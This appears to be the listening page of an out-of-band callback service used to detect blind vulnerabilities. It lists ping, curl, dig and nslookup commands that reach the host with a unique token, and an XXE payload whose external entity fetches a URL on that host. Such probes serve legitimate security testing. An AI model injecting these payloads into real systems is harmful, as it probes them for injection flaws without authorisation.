$ ping -c1 -p 00299da3ebe45d79be159b51674b8300 unhack.ca
 
$ curl http://unhack.ca/p/299da3ebe45d79be159b51674b83
 
$ dig 299da3ebe45d79be159b51674b83 @unhack.ca
 
$ dig 299da3ebe45d79be159b51674b83.ns.unhack.ca
 
C:\> nslookup 299da3ebe45d79be159b51674b83 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/299da3ebe45d79be159b51674b83">]>
    <foo>&xxe;</foo>
Waiting for ping...